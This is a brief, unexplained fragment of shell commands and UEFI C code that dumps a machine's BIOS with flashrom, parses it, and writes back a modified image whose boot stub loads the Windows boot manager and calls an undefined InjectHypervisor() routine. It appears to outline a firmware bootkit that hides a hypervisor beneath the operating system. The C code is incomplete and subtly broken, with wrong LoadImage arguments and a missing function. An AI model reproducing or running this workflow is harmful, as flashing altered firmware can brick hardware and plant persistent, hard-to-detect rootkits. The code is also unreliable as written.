sudo flashrom -p internal -r bios\_backup.bin

uefi-firmware-parser bios\_backup.bin

EFI\_STATUS EFIAPI UefiMain(EFI\_HANDLE ImageHandle, EFI\_SYSTEM\_TABLE \*SystemTable) {

InitializeLib(ImageHandle, SystemTable);

CHAR16 \*BootLoader = L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi";

SystemTable->BootServices->LoadImage(FALSE, ImageHandle, BootLoader, NULL, 0, NULL);

InjectHypervisor();

return EFI\_SUCCESS;

}

sudo flashrom -p internal -w modified\_bios.bin